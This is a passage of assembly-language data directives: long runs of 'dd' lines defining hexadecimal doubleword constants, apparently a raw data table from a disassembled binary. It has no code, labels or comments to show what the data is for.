		dd 3C566965h, 523E6A70h, 8068BB2Fh, 1E669739h, 1A775Ah
		dd 607E541Ch, 8ABBBAEh,	37235607h, 8D6088B5h, 0E17D98h
		dd 7C2A6C8h, 0CC229B0Eh, 6BAA531Eh, 10CADF40h, 0F6DA5590h
		dd 9E7107D4h, 875982FDh, 0D0A5B048h, 1912DD79h,	0CD025CEh
		dd 60A1D63Ah, 0C1372CB7h, 0DA009AC9h, 0F9863BBEh, 27C234h
		dd 0DB4A6BECh, 0D0375354h, 28DF8212h, 23CCF806h, 4AB0549h
		dd 905E83CBh, 0FA5BF8BCh, 4785D700h, 0D2AFC70Eh, 0F104004Dh
		dd 0C2AACB30h, 773C4BD4h, 0BDE0C58h, 98B2209Ah,	70FF073Fh
		dd 90183FE3h, 0A89B62A2h, 91489903h, 930B7A0Ch,	0C4CDA133h
		dd 144F7886h, 99000862h, 205B9BD4h, 3F6FEF3Ah, 938EEC35h
		dd 1B00A7BDh, 82B3149h,	0E8252E00h, 0DF9C9BAAh,	2106008Fh
		dd 0B1C14C91h, 0B078F540h, 172AF00h, 23A4E5A3h,	0EE8B76A7h
		dd 42690751h, 506C7C57h, 16E4C83Bh, 0B231D504h,	7100ECDCh
		dd 395AB3ADh, 0ED2E2103h, 0B99AAA0Bh, 0AEC85307h, 31D40057h
		dd 171E1BF8h, 40C0718Eh, 0ECED5192h, 504F390Ah,	4EB7338Eh
		dd 201B77E6h, 0EFA84903h, 0AAC5B5D6h, 0C6D406Ah, 0F06D0739h
		dd 40CCD741h, 0C27040C8h, 0B789D660h, 0EF23190Eh, 91751180h
		dd 936B52E0h, 54776907h, 0E1466E5Bh, 3E7AEC21h,	7962E0h
		dd 0ABBA5988h, 521CEE0Ah, 2AE358C0h, 64DF6664h,	601FC01Bh
		dd 10E7ED52h, 0C44EA70Ah, 60027076h, 7843EFA9h,	0BAE9CC00h
		dd 6D0CC44Ch, 813060ECh, 17B38F9Bh, 0DC0E6C12h,	8CFF4D07h
		dd 0AA3ED520h, 11B4A97Ah, 0FAE7C1EAh, 338DAC70h, 12087194h
		dd 0FF3C948h, 0E07D40CDh, 780FEDFDh, 0D8330004h, 95316FF4h
		dd 0FE5C138Ah, 7287077Dh, 0D4536039h, 958E8D1h,	7737002Dh
		dd 0BA8C483Ch, 68131D92h, 0A10B9E01h, 3B290024h, 1E57412Ah
		dd 9C1BDCBh, 2600E043h,	7EEED262h, 0E6AF3303h, 0F0396EA2h
		dd 0DE4538h, 5D47BE48h,	748078FFh, 891E2700h, 9D21D076h
		dd 913300D7h, 0F9B438B3h, 0FB000355h, 629AF90h,	960CB43h
		dd 0B3777462h, 9258F782h, 0B63432E0h, 80365139h, 26BAD7CCh
		dd 3C7D62h, 477E828Eh, 9DC72232h, 7F1DAF1Ch, 0DF4BAE80h
		dd 3BCEA4Dh, 0AD6741A8h, 3498784Fh, 0FEEAC82Ch,	6362240Ch
		dd 0A5BE11BCh, 7B605504h, 132FE86Bh, 419822h, 52436E79h
		dd 9400301Ch, 3B45154Bh, 0F7AC069h, 57C358FEh, 4280070Eh
		dd 9F292FA0h, 4B2087F9h, 7C902E47h, 32C5585h, 0D963497Bh
		dd 2DA34186h, 0D45425D8h, 8043AA3Fh, 62E86158h,	0FB2B22h
		dd 0FE887ABCh, 0E179D767h, 65384C05h, 7C3A7654h, 672EADC1h
		dd 0E6D6F0DBh, 0B47D880Bh, 51E600F3h, 465334h, 0AD29424Ah
		dd 0DF255EB8h, 0EADAD719h, 0FF082129h, 5D5C2284h, 0C5212742h
		dd 94607008h, 110828E0h, 9087E41h, 7431881Fh, 88632488h
		dd 0D94EC95h, 4FCE1114h, 0E608E821h, 821190EDh,	4438705h
		dd 0E238210Ch, 111EB511h, 519059D2h, 98B384D0h,	0BF43F948h
		dd 0D4291158h, 47F51975h, 0D508FDC9h, 44587044h, 0F9449174h
		dd 0FE204041h, 0F69B4A00h, 0E5E4CBBh, 0EC392E0Bh, 922008Dh
		dd 4EDA3770h, 9DA2BA00h, 20C6903Eh, 606500CEh, 0A567570Dh
		dd 0FB006EFEh, 62666FEBh, 0FF166Bh, 0C59FDC27h,	0D8A2429Eh
		dd 0EAFAE01Dh, 6F903240h, 7FCDF16h, 0EF22B483h,	635460A9h
		dd 0E801AECFh, 14DD3F9Fh, 37ECBDDCh, 91A42823h,	6378C9h
		dd 0B255312Bh, 4369E7BAh, 0C444D509h, 862800BFh, 710E4CFFh
		dd 0C2310016h, 0C36DDE7h, 0BE01AEB4h, 3757E49Fh, 62708244h
		dd 0D3B100C2h, 0CE4D2497h, 2100115Dh, 533C06D7h, 1C3BAAA1h
		dd 0C0F1C8DCh, 8990AE7Bh, 0EF07E199h, 2578497Ah, 823A60EEh
		dd 9DE2A1h, 0DCA3310Eh,	62AA75DFh, 0FC005FF6h, 414EB9C6h
		dd 0FB04860h, 0C87BDAAFh, 90B2BBE7h, 0EE1D29B1h, 4DF40203h
		dd 8BC38B66h, 7941C0CFh, 260300DFh, 0D06E22F8h,	0B0F84AE8h
		dd 0D3611200h, 7125A1B5h, 0A5DF3AB6h, 795EA4h, 0BE353F82h
		dd 6128AE56h, 3D00B0EBh, 0C6F1C171h, 4E6970h, 5D6E9609h
		dd 0F2B83FC8h, 0E8A10D0Fh, 845FE0F0h, 0ECA8E212h, 0FFBE00Bh
		dd 537708D6h, 5918B483h, 0F64E96C8h, 0E6E75700h, 7E5E6B29h
		dd 44E0008Dh, 0D9DAFC81h, 0A9EA3A8Eh, 7CD35C00h, 1AC237B3h
		dd 92EE007Dh, 8DAF4642h, 6500BBCDh, 0CB67856Ch,	0E3B931h
		dd 667B1669h, 6F820B71h, 0C51E9F00h, 0B7A7E937h, 86C1001Fh
		dd 0C33B2EBCh, 0F4000D7Dh, 4DCA47DCh, 14EDB6h, 3677BE71h
		dd 4FF67C42h, 0F5351E00h, 0F7B16743h, 619A0F5Dh, 7140F0BEh
		dd 54198C60h, 7606E800h, 1ACEFCABh, 4391F29h, 0F64D21Dh
		dd 0F26E6EE2h, 0BC8E5181h, 5C60C686h, 58FA4DD8h, 43C0A18h
		dd 0DC2D4h, 241C6C94h, 0D6A199BDh, 0F582B600h, 0AE85B3E0h
		dd 5D55001Eh, 22F90EA8h, 0AD90732Eh, 970B3403h,	0F035A14Eh
		dd 79CEE02Ch, 0ACBB0B04h, 0A182CC8Ch, 0C431E87h, 415E05C9h
		dd 0D8CD53C4h, 4B00DA98h, 0A7EF8E7h, 0E6DA3ADh,	165460D1h
		dd 40BF1E7Eh, 3F648AB1h, 0DA0956D8h, 775808A0h,	0AF3CD780h
		dd 0D2091447h, 0A0C4A205h, 183AE3C8h, 0CFB20FEFh, 62605AE7h
		dd 0E9B4ED9Ch, 5D0FD700h, 291F32B7h, 0ADDC0095h, 8F6F8846h
		dd 9300DE9Bh, 0A6F7144Dh, 120D726h, 0D2A93497h,	0E1019DB5h
		dd 6CDDFC42h, 66CE1D09h, 0F9EC0003h, 1DAE5310h,	0DF4ACA01h
		dd 2A5A4E21h, 0C5150E00h, 0A7004ECEh, 0B3B47B46h, 3C029D1h
		dd 0D3F4C36Bh, 92B87CDBh, 240E5F52h, 0F39EB2CEh, 0D49B8200h
		dd 17DF0FDh, 0F158843Dh, 70BA3216h, 0E10061BCh,	0AF1C764Dh
		dd 7914281h, 31ED552Bh,	44017B65h, 0CD105C5Dh, 916CC7h
		dd 3E9B091Ch, 3DD664h, 0C4B23FB0h, 8375881Eh, 0A9DF730Fh
		dd 0D86C408Ch, 0BC9C5Ch, 75DB4FDh, 0DC46D63Ch, 0EB6BE807h
		dd 0E59063BFh, 0DD8D22h, 0E6AC83Bh, 2F1623AEh, 30A0890h
		dd 0B03EB3B7h, 2A8F105h, 2078F84Eh, 2062DB9Ch, 23EA3D6Ah
		dd 979B5009h, 0BC2F3C90h, 0A583F91Ch, 1C549CC2h, 45B0804Fh
		dd 0B8A690h, 8FB90E84h,	9C65FD7Bh, 3101B48h, 2E3DFC4Ch
		dd 1F11019Ah, 3719D84Fh, 0B50C2007h, 950810E7h,	5AAF00FFh
		dd 0C28B0B93h, 473DFD4Eh, 0B00930D6h, 7C1AE0Dh,	1C28D4B7h
		dd 163F5341h, 0AB52CBE8h, 0FC7CDD24h, 96481100h, 0FC51A80h
		dd 4B901E94h, 8A80D3E9h, 0DB37DD02h, 2100CCF2h,	50C2726Fh
		dd 736AA32h, 63C611FEh,	0D930007Fh, 8DE468B0h, 1ABD1F00h
		dd 2576AAB1h, 871D0762h, 90701784h, 2E9BD75Bh, 13B38E07h
		dd 0C080972Dh, 70E364CBh, 0D5B10084h, 9C6C87FEh, 8A005F27h
		dd 88F90771h, 0F2542E95h, 65180163h, 4B9B9EEAh,	0DC10F52Fh
		dd 8450A7C8h, 0F900B48Ch, 324675A9h, 738DE60h, 0A880C923h
		dd 6EC8301Eh, 8200E30Dh, 1FD8E176h, 12BA79h, 0C3147141h
		dd 0A7DB1625h, 2BFD0200h, 0B55AE8A6h, 3F049837h, 0F0508294h
		dd 0A5C70087h, 0F51C344Dh
		dd 4074B92h, 69998CA7h,	98EC5280h, 13DF29Dh, 17EFDC82h
		dd 6042D060h, 0B300703Bh, 0B1FA35DAh, 5C2ABF5Dh, 81079929h
		dd 20C78C3Ch, 0A8C9B5F0h, 8CE9162Ch, 5A6EA100h,	0D79C56h
		dd 52A9E1A7h, 6C7FA327h, 47485000h, 74AF1EE9h, 30450088h
		dd 0F262391Bh, 6B007E80h, 2F652D5Dh, 3AA2Bh, 611C2629h
		dd 0F6181124h, 6EBE9200h, 7F2B2853h, 0C28700A9h, 84A6E135h
		dd 0B100A264h, 0FDAC57EFh, 7B91D07Eh, 21BF07E8h, 6FEAAh
		dd 365C2249h, 13980B3Bh, 0F7000140h, 0C54FAE4Ch, 6BE901C3h
		dd 0C62E7ECAh, 0FBE4E0DBh, 88EF5100h, 0BE793B9Ah, 723800FCh
		dd 68300FD1h, 760056E6h, 670CB12h, 2E0B088h, 55153C4Dh
		dd 8061D0EFh, 3FFEFC0Ch, 2A6DC00h, 2A9F2EEEh, 0DE280007h
		dd 0B10D4B4Ah, 3AE22CA9h, 0C8965124h, 0D59D1000h, 0AE8794h
		dd 0C716C12h, 82E978C9h, 0CA116A00h, 9803A75Fh,	0F6F31D0Eh
		dd 0E5398016h, 0E2C8D83Bh, 6974DC1Dh, 0E73214Fh, 98F46175h
		dd 0B1F4028Fh, 68BF0196h, 7CDEF71Ah, 0D82C3111h, 2E7D6D8Eh
		dd 90082400h, 40A64A29h, 0D1590743h, 10BBF9D3h,	7581A757h
		dd 80F1FF01h, 53DAF6A2h, 0F01D20h, 0AF52715Bh, 0E1A446F2h
		dd 69D1F300h, 0BBFE64D6h, 59840031h, 91EB0AEEh,	0BF3B6878h
		dd 800757Dh, 0BA1951F1h, 3921C796h, 924D0C0h, 401EA8h
		dd 0E51A8756h, 2400B150h, 62A682BEh, 57A7A4h, 44B72E52h
		dd 0A031F5CDh, 97B3030Eh, 0E32B4011h, 37DB9Fh, 0D5BDFB6Fh
		dd 249EC816h, 6D135D00h, 3CAB8CFFh, 293501CBh, 0D9774E7Ah
		dd 76672005h, 6527D000h, 48647185h, 0F8C301E1h,	0E371D66h
		dd 31824003h, 53029F30h, 2ED92292h, 0BF5AC0B0h,	3217002Ch
		dd 7C849E45h, 8B008ED4h, 0F9037BD8h, 0F3B593h, 6033F5AAh
		dd 0E1219C8h, 6299F200h, 3D4982DBh, 0D5D300C9h,	1B6C760Dh
		dd 5100E0AFh, 0DC27E3FFh, 79211C13h, 1FF09AA7h,	7982C2D0h
		dd 0FD609E0Bh, 3A79D480h, 420089A7h, 61FF9C21h,	90FA126Bh
		dd 2E4502DCh, 0D4FB3CDDh, 43EB79E3h, 80223281h,	55AB53B8h
		dd 2D7015h, 197530FEh, 828D760Ch, 979A2801h, 2DA6EB9h
		dd 0E709EFCh, 45E7BD66h, 48B72D02h, 0DBC4C05Fh,	858F00E0h
		dd 0F6B60D03h, 0FF0FDD12h, 254CC3C9h, 98065CBBh, 3FB8B153h
		dd 0E6810B70h, 0ACA216F8h, 11FE20A3h, 1E3DC100h, 24EC1BBFh
		dd 2C9A023Ch, 72AE12C8h, 40FF7C60h, 0F7AA1F8h, 522B5Ch
		dd 6DD299EAh, 7BA54AAh,	0CD197641h, 3DA510ACh, 0E200DA7Fh
		dd 3731637Ah, 581DEB5Fh, 0FC7C3D33h, 3F4C4875h,	2B186901h
		dd 601454C8h, 1D00ABF3h, 7C318D01h, 33FEC133h, 0F7B8A871h
		dd 26B110F8h, 3DD30600h, 0B03C87FDh, 44710065h,	0F1895175h
		dd 267EAD23h, 0A491AA00h, 9ACBE530h, 0EAE81724h, 0BE14005Dh
		dd 0CAC54696h, 0DE58A660h, 16360352h, 5F8C1Ah, 0D8E33DDCh
		dd 0B92A2048h, 3501FC57h, 0A54124D0h, 0DCD022A2h, 2CB2011Eh
		dd 0EA85E706h, 0B710E0DEh, 8EA4D000h, 0AEFD15D8h, 0A54500EFh
		dd 59720694h, 7C028791h, 78C83F1Fh, 4E405h, 0A2100D38h
		dd 0E1640BBBh, 4E795F1Dh, 0FC03F8A4h, 0C885DD2Bh, 77EE2Ch
		dd 60043DF6h, 137DFF8Fh, 61249B00h, 8C5F2F52h, 72CE0027h
		dd 96236D58h, 29785905h, 10920B05h, 0A480B56Eh,	2641C8h
		dd 73E13B2Dh, 5D335383h, 23B65700h, 0A8951544h,	29347766h
		dd 0FC1BD5h, 18C2F919h,	7428F3B9h, 0D51CA4DFh, 87C31C9Eh
		dd 0F05D1F7Dh, 0FFE0C2F8h, 0B73C20h, 0E3546435h, 0FF2067B6h
		dd 9B93AA00h, 926B179Ah, 253B017Bh, 8EBA1882h, 0CCE8F985h
		dd 6013E48h, 0B85C7CD4h, 0E3F042F8h, 722600F3h,	6A64B611h
		dd 0E1002FB4h, 655E7847h, 7B2B54h, 440FB82Ch, 0CDC9BFAEh
		dd 0E4C7331Fh, 0D4144980h, 18566BE5h, 309550BDh, 6C1DF32Ch
		dd 3B1E8CFBh, 57336600h, 0AD1575h, 5BD598B0h, 11E993CAh
		dd 0DD863A00h, 0A349B78h, 99DE2812h, 0EC4A00B4h, 0CB60E3F5h
		dd 0B975BF3Fh, 8A2DA900h, 45C402Bh, 2FD90017h, 0FF7C02BBh
		dd 29007F1Ch, 37145643h, 0DE916Dh, 23C5B188h, 7FAAC2A7h
		dd 0C8F13800h, 5B17DDF8h, 54A80032h, 438ACD46h,	0DE2E0908h
		dd 73003548h, 9256EC76h, 33E50F3Ch, 0E7C0CCBEh,	0A0A95A27h
		dd 3F613D00h, 15216C65h, 223A07B2h, 40AA92A3h, 37FE5FC6h
		dd 168E7D00h, 42864F0Dh, 0C8353FE3h, 59C2A301h,	71734494h
		dd 0DB316081h, 0EBC0A00h, 32162E3h, 0D7910756h,	812D387Dh
		dd 7EBE4572h, 82AECA80h, 24AC503Eh, 0FCA60E6Dh,	0DF8052CAh
		dd 7407BC3Bh, 5C71D300h, 46E1E449h, 3F55724Eh, 0E516FE87h
		dd 3DB0C004h, 0DD008D2Dh, 0F4F69B6Ch, 7DC75AD8h, 0FE51006Eh
		dd 257E1415h, 533F1D3Eh, 3100703Ch, 0CE878334h,	80764366h
		dd 8C966A77h, 3B78E580h, 350C959h, 0FCA0D011h, 15B0B665h
		dd 9E00DBE8h, 1C8E46D4h, 3A376BE6h, 94091F4Bh, 0D8012A69h
		dd 70EC974Ch, 0E72E625Bh, 321BBC6Eh, 0D948A8DAh, 0D7041F65h
		dd 0F52B0270h, 0F8E3B17Fh, 898405B0h, 0B0473112h, 0E3592400h
		dd 68DDF6Fh, 28B2CAD7h,	0BE1318EBh, 0D83C4B26h,	0CE0600B5h
		dd 0BBC3C0C6h, 946FF4C1h, 4595A080h, 5693DFh, 0C4DC8586h
		dd 6BB90628h, 4D58BDh, 0F404A4E5h, 0A31CF90Ch, 0E7D4D601h
		dd 0FD2ACD87h, 0FA42A530h, 113E0095h, 0A26AB509h, 0AA1D4EC8h
		dd 0A4409EB6h, 9FE1F48Ch, 7AEF09CFh, 0D88028E8h, 0F5982978h
		dd 0DC4ED300h, 1D965292h, 0EF8800B5h, 0F2ACED84h, 7E1F392Dh
		dd 0FD26E7h, 9C689234h,	0CAE80Fh, 641DE1Eh, 8A4D3EE6h
		dd 7334831Dh, 2B5DC900h, 58A515BAh, 0D7005405h,	82948DB1h
		dd 23A1D72h, 9D9E3999h,	61C1F5FBh, 852B518h, 0DF0670h
		dd 0C78C4358h, 0BB6610BDh, 8089862Dh, 0D436715Ch, 20640081h
		dd 70543B29h, 6D54E621h, 980027F0h, 2592D3BAh, 0EE0FC7h
		dd 587F117Eh, 725F201Dh, 2A765B00h, 4D04DD97h, 99DC003Fh
		dd 12E29449h, 360BD441h, 21378B50h, 80F65738h, 394C9300h
		dd 8402AF77h, 746450D0h, 0C05821h, 3D5AE346h, 8AFF105Eh
		dd 57C8F660h, 0B27CDEF8h, 43F70048h, 1C0539D9h,	0A200474Fh
		dd 0C9E53BD1h, 12728C3Eh, 5D19E37Dh, 5C84799Ch,	0FB785420h
		dd 0CF314680h, 3697009Bh, 1B462802h, 5800675Ch,	0DE87DCB7h
		dd 2C6EB5h, 0F2B2C755h,	0E1C5D2C2h, 50CA4502h, 80D72165h
		dd 0E78F1CF6h, 165F2E19h, 3F0B01CEh, 207BE5D6h,	9D0042B4h
		dd 0B30962CCh, 0E404B9Ch, 6BA08D53h, 0D72FEBh, 6A0F29CDh
		dd 0F63C05E4h, 4174E163h, 0DC6F97BCh, 0D440F011h, 9D2180A0h
		dd 570695A0h, 0CA819CA2h, 20C7E2EEh, 4276B188h,	0CFBEA005h
		dd 0D0931AA8h, 0EB03F0FCh, 69E6FFh, 935DA74Ch, 39D881A9h
		dd 971EFCB2h, 0C17D3D95h, 6504C8h, 6CDA67E4h, 3979AC30h
		dd 0ED0049E8h, 0BF104298h, 0EAE869D1h, 562B0192h, 3A03B72h
		dd 64CC50C2h, 0FC151BF4h, 384201h, 42C4CFFh, 0BC95195h
		dd 0F723DFD1h, 0A5BE0400h, 9D00AF08h, 0EEFA27FBh, 0EE9C55CCh
		dd 7B2FF6B6h, 0C241002Ah, 69D5DDE9h, 100139Fh, 637086C9h
		dd 0FDC6FCh, 4CD89A92h,	0DA1607F3h, 0E34BBA02h,	0E0A02D84h
		dd 0A02479E4h, 0F59AC82h, 0E03B47E6h, 0C3D9AAC0h, 0D31F2B8Dh
		dd 84C32670h, 80080A27h, 36B3458h, 0F5B38945h, 33F016BAh
		dd 5A0123ABh, 5BCCA087h, 8DC499F4h, 2A70027h, 68693111h
		dd 0CD00754Eh, 2EA03AA6h
		dd 0C1294Ch, 5BBB388Dh,	0F9BAD58Fh, 0AA058B01h,	0D33B7602h
		dd 0FE3852C0h, 0B0D9FC24h, 4E3C3078h, 0C91EEC38h, 0EC4C000h
		dd 6589AB12h, 0A1284873h, 3393B7Eh, 66DD1A00h, 7291D8AFh
		dd 1B384F65h, 0DE842880h, 6D070162h, 143A9465h,	19180C6h
		dd 0C80CB2B1h, 87C5073Bh, 38ED4Bh, 44B92E34h, 80158D00h
		dd 35371CDBh, 5ADA0019h, 3A95C7A3h, 0E473E06Eh,	93896B00h
		dd 252E9E11h, 7A861D8Fh, 5616400Eh, 0CF2A66FBh,	0B475D600h
		dd 0A6AFF6C8h, 1CE5005Ch, 0A30B77FAh, 5771354Ah, 0BF00CB78h
		dd 8BB155F5h, 0E670CE3Bh, 9B580ECCh, 4F809522h,	6DA16BDFh
		dd 0ECF1EE00h, 99AFA393h, 1A4A0721h, 0F0243492h, 27BCD08Ch
		dd 91A71C00h, 4FD7A9BFh, 0B4923Bh, 664CC9CAh, 0F1E89056h
		dd 5C1C0AF0h, 9B09DB85h, 51D80075h, 3CF04C2Dh, 0D309FABh
		dd 59A35C12h, 40FC4Ch, 65C66B7Ah, 3C8363h, 0B72F85EEh
		dd 0F35CD670h, 173EF500h, 0B25DF65Ah, 36AC3D6Ch, 0C9992283h
		dd 6D8920A1h, 0C8688080h, 0D55B2F47h, 4CFD0003h, 8DEB439Fh
		dd 0EE000C62h, 84886810h, 166A2921h, 111C70BDh,	0A71F24FCh
		dd 0B620B092h, 0D20F8418h, 0E9C7BCDFh, 87FC2055h, 3FE743h
		dd 1B24E097h, 0AB35C4A8h, 0BC307A06h, 7D00D9Eh,	0E71778BBh
		dd 0DEF600A2h, 0CEF41173h, 0A4939900h, 0F3592C90h, 882F4CF0h
		dd 40BAFE1Fh, 0F9D4E942h, 4D000D64h, 4BE38FDBh,	5405D336h
		dd 0CC8823h, 63439EDAh,	0FA25EA49h, 0E6761100h,	4F67363Ch
		dd 0E7F50380h, 1FEF5829h, 0A3C0F1FBh, 541E74ACh, 968FBFC5h
		dd 773EA50Eh, 0A0BB9802h, 0E45068DCh, 0C54800F4h, 0AD14DF07h
		dd 9003BA3h, 17E6D356h,	0F8B5D9F0h, 0E50C02DAh,	0C4645DACh
		dd 7D0424E0h, 3C4CD098h, 0AB200004h, 0B53E8D5Eh, 0D5190065h
		dd 822A41Ch, 6A007693h,	27A1599Ch, 60B4CEh, 0DD7E70CCh
		dd 0BC9F40E9h, 988A7630h, 4C74D287h, 0C50704B0h, 4BA4B923h
		dd 3A339D80h, 16C0DB84h, 4DEA6E7Dh, 0A225CDDh, 1972B200h
		dd 660159FBh, 0A6003DEEh, 0CD0E7F5Bh, 12C2E9h, 2FEDC3DDh
		dd 0BD56A24Ch, 4F452200h, 0E49BF304h, 0F4CE01B8h, 0B6C4CBF5h
		dd 4978705Eh, 3D002F73h, 18DEA161h, 51EF2Ch, 385C1182h
		dd 0E24CE80Dh, 488B1D07h, 56C04D62h, 0EA0E1768h, 729800D9h
		dd 0EB1CA9D4h, 0FD0028BFh, 3B78E7CFh, 0EACA32h,	99115AEEh
		dd 0ECC2F05Bh, 8130A100h, 0A401BDA6h, 86330062h, 21BED03Ah
		dd 3600FCAAh, 6A65C506h, 7A8D25h, 0E882B1CFh, 0DB18EB5Eh
		dd 0BBBA5038h, 289C80C6h, 1CBBD26Eh, 1E7CB022h,	0C0CEE8D5h
		dd 18658BE6h, 0A1006AF7h, 0E90F1205h, 414F4h, 9680AB8Ch
		dd 5FEE7BBEh, 0F8C0DF00h, 4BFACF4Fh, 167BD8h, 37F33DAh
		dd 0FE963AE9h, 8EDB7303h, 901FEC30h, 900B4F9Dh,	3F51E7Eh
		dd 6467C046h, 4083D7F1h, 0ABC15601h, 7A124E6Bh,	0E1B0E0C3h
		dd 9DB200CEh, 1CBFC26Ah, 0BE00EA87h, 166F181Fh,	0E48FB124h
		dd 0B87CF096h, 8EBF0016h, 0EE60F370h, 8B007E80h, 8667B4B7h
		dd 0F3C13D8h, 0E481943Eh, 0FEAD03C0h, 0CD004EEAh, 48967075h
		dd 3EE3DF9h, 2D970E93h,	1E883CCCh, 65000162h, 0DBB0088Dh
		dd 688214h, 88CF0A28h, 0EA175915h, 0CEEC0300h, 0E780F0Ch
		dd 0D7F8002Ah, 76A38CE6h, 8D001654h, 0D0A9314Eh, 0B02FD261h
		dd 129FA27h, 0A3C7DB0Dh, 30F9A656h, 0A7053CBFh,	5A6D71C3h
		dd 0E668400h, 5977F8h, 4219BA55h, 86ADCA53h, 0E726D500h
		dd 5B9ECFDDh, 0EE5A00B2h, 0A1B7C1Dh, 8A9867C8h,	75785117h
		dd 0E96EF300h, 0B43F014h, 0D5F292AEh, 0E84F2080h, 0B4009E46h
		dd 5B82B77Dh, 0FEC4ECh,	0F2F74049h, 0D2855733h,	0E952BC30h
		dd 1F51B843h, 0C0358818h, 0D6C9AB14h, 0B91C6C8Fh, 4980E857h
		dd 0D7A673ECh, 3C0600C8h, 0A8C905AEh, 7CF83445h, 803A8200h
		dd 32729BABh, 89EF001Eh, 31B10240h, 3B0FA5ECh, 0E00A8E85h
		dd 96A85749h, 28C00C0h,	94B00D7Eh, 80C34F03h, 836B2Ah
		dd 805DC02Ah, 0B634D752h, 0D1DAA500h, 64610FACh, 19F3007Ch
		dd 0A7656241h, 90008BCEh, 8682A079h, 32AE287h, 0B7255A36h
		dd 0ABE8B933h, 0A400C896h, 74184250h, 13566DBFh, 26BADBh
		dd 32719DEDh, 84002D8Fh, 0D95FED34h, 16D2723Ah,	1D6AB1ECh
		dd 0A9B440C7h, 70B5146Fh, 5876CD0Eh, 41AEA180h,	0FE705754h
		dd 2FF33A7Dh, 218B683Ch, 0DDA92Bh, 0A479BBD1h, 73FC0188h
		dd 0CB84403Ah, 785880CAh, 49D59A05h, 0B2A2001Dh, 5D5964FAh
		dd 0A60FC0BAh, 2015DEAFh, 1D32B98Ch, 0E96D0072h, 496E3467h
		dd 71004E4Fh, 77A007EEh, 0E19E31h, 0FA8B3970h, 8A8DAAFh
		dd 981C442Ah, 0CB5F9100h, 32E6462Ah, 20F2C02Eh,	5364C45Ch
		dd 1D07D1F6h, 564F8140h, 0DC4D6CA0h, 9DC201C7h,	94F337EDh
		dd 0ADF8C8F1h, 99B48202h, 802BD74Dh, 6F89F598h,	7BCD006Ah
		dd 128ADCEAh, 0D70B0F27h, 1C648Bh, 1FBBCAE1h, 0B85501BEh
		dd 0D149800Ch, 0F590D13Ch, 49C5099h, 0DD0096C9h, 2E1A95AFh
		dd 0D9FF3Ah, 0F7EB269Fh, 4AA2CB6Bh, 3246911Ch, 54790680h
		dd 12D240C1h, 3B25C6h, 3AB6C220h, 4400D53Fh, 2FE6109Dh
		dd 0D00971h, 5F796941h,	2D3B7637h, 0AC242700h, 5E6E07DDh
		dd 4EBB00FBh, 634A41A3h, 5A073708h, 6333D46h, 0C5B0C750h
		dd 528A03CAh, 7F96427Eh, 0BA795C00h, 8C4093Eh, 0D5693DBEh
		dd 0AD3348F9h, 30906D07h, 98E5A099h, 280E3260h,	0C02B5985h
		dd 0A17B8825h, 8F620096h, 0A0BC3197h, 0F202F53Dh, 99FEFA2Fh
		dd 0A4FFE0C0h, 0EA0407DBh, 61D38A70h, 0F824400Ah, 4800EE3Bh
		dd 0CCB7AA4Ch, 92B4Bh, 0FF1B019Ch, 2A02E42Fh, 0B8D07B01h
		dd 8E5485FAh, 2DF4DC31h, 6DE60060h, 0D65AFF2h, 0A009FD15h
		dd 9EB664h, 9F36E248h, 0D57C2CAEh, 0DB830071h, 2327BEDCh
		dd 1AED7912h, 97E1600h,	881DFCh, 0DDE64ABAh, 4B6577D2h
		dd 0C8F2FA00h, 18EF40B4h, 3928E2A4h, 670E6C81h,	0FB602B71h
		dd 44D25973h, 0ADC41213h, 755807ABh, 0EC7E20B4h, 7C00137Ah
		dd 78370349h, 6AAA66h, 89F95DC1h, 9348C6B7h, 9F6E500h
		dd 97070B61h, 0CC2C0705h, 0A0C13EB8h, 414D7513h, 14EAEC00h
		dd 96CA4E7h, 9BC001CEh,	26217D37h, 7BB1F006h, 1F475A0Fh
		dd 3C003FC7h, 0B9EC3B9Ch, 0C4F450F0h, 634200BEh, 1381D3A4h
		dd 58B7D8B4h, 21F10058h, 0FEFB12DEh, 650BCE97h,	801EE091h
		dd 0D84A7FA6h, 436F0035h, 0A1B0A955h, 0D5059483h, 95104E39h
		dd 727BC403h, 0F7C1890Dh, 922BC50h, 6F5094Ah, 6B00A114h
		dd 0C2D28B3h, 7A4E9E00h, 85FF9FA3h, 67EE009Dh, 0ADE5E314h
		dd 0CCA14456h, 0B7C80B7h, 0CFD5925Eh, 1E660482h, 0C06F8A50h
		dd 0A6D34918h, 10533Eh,	0B64E6470h, 0E8FB18h, 2F3D4A79h
		dd 39CDF73Eh, 8F5C6EF2h, 0D2810089h, 54839741h,	9FC1D3Fh
		dd 34A780F6h, 17718842h, 90F49600h, 6EEE1C68h, 9CF500A6h
		dd 0F63F0A8Dh, 0CB0028CCh, 3921C3ACh, 3C1012h, 4ED3C8B5h
		dd 23606157h, 0CE35C700h, 0FC8C7330h, 415A0083h, 7115BFA1h
		dd 7F000557h, 35647D0Fh, 9B3080h, 0CADAE987h, 0B1F9EFE8h
		dd 29DFF20Eh, 142800EBh, 217D9F8h, 0DD7EE313h, 9CC3E5F4h
		dd 1FD127C8h, 709B0524h, 50FDBB80h, 9337F6h, 35C8EF42h
		dd 0F5C525BDh, 264F8B00h, 71AADAFEh, 5F6C00B6h,	0ABEC207h
		dd 0EB009574h, 881BF684h, 0E1170D3h, 6616B24Bh,	0C25C6740h
		dd 95805FAh, 68290088h
		dd 0D9E77A06h, 9CAC0226h, 0A5AF788Fh, 0DC7B90E1h, 6C1BA75h
		dd 9BAEE5C3h, 0CFB060h,	9633AD41h, 136D0F4Dh, 0FD006098h
		dd 0CC1A6278h, 39E5F11Dh, 38DCFE17h, 41794F00h,	0F93B1663h
		dd 628E0C00h, 0C9BD9EC3h, 20F000E8h, 84F8D2DCh,	9B003444h
		dd 1FDBF522h, 1E7473Dh,	0FB5BECCDh, 0D0F65DD0h,	32009B85h
		dd 0AA843037h, 6644B6h,	8A7E15DCh, 0DDD670A7h, 0EDC75817h
		dd 47EC1F00h, 8BBF41h, 0C93C7A6Bh, 6621AD8Fh, 7429A40Eh
		dd 6D781D6h, 48DCA237h,	6B1102AFh, 7E4995ECh, 6E626CC0h
		dd 0FDA0D700h, 7208395Fh, 831F1628h, 4D12F2h, 58D06FDFh
		dd 4F4CB50Ch, 5D3000F8h, 0F688C718h, 0F1600070h, 380E2DDDh
		dd 7D39F71Ch, 7F9B0189h, 0E829283Ch, 2C32D2D4h,	0F2CD82Fh
		dd 97A0D73Bh, 37E2FBCBh, 65050890h, 1E2E3EAAh, 8DF104C0h
		dd 30D8E469h, 5C203C91h, 4700B42Ch, 39071DB9h, 0F5BAA0h
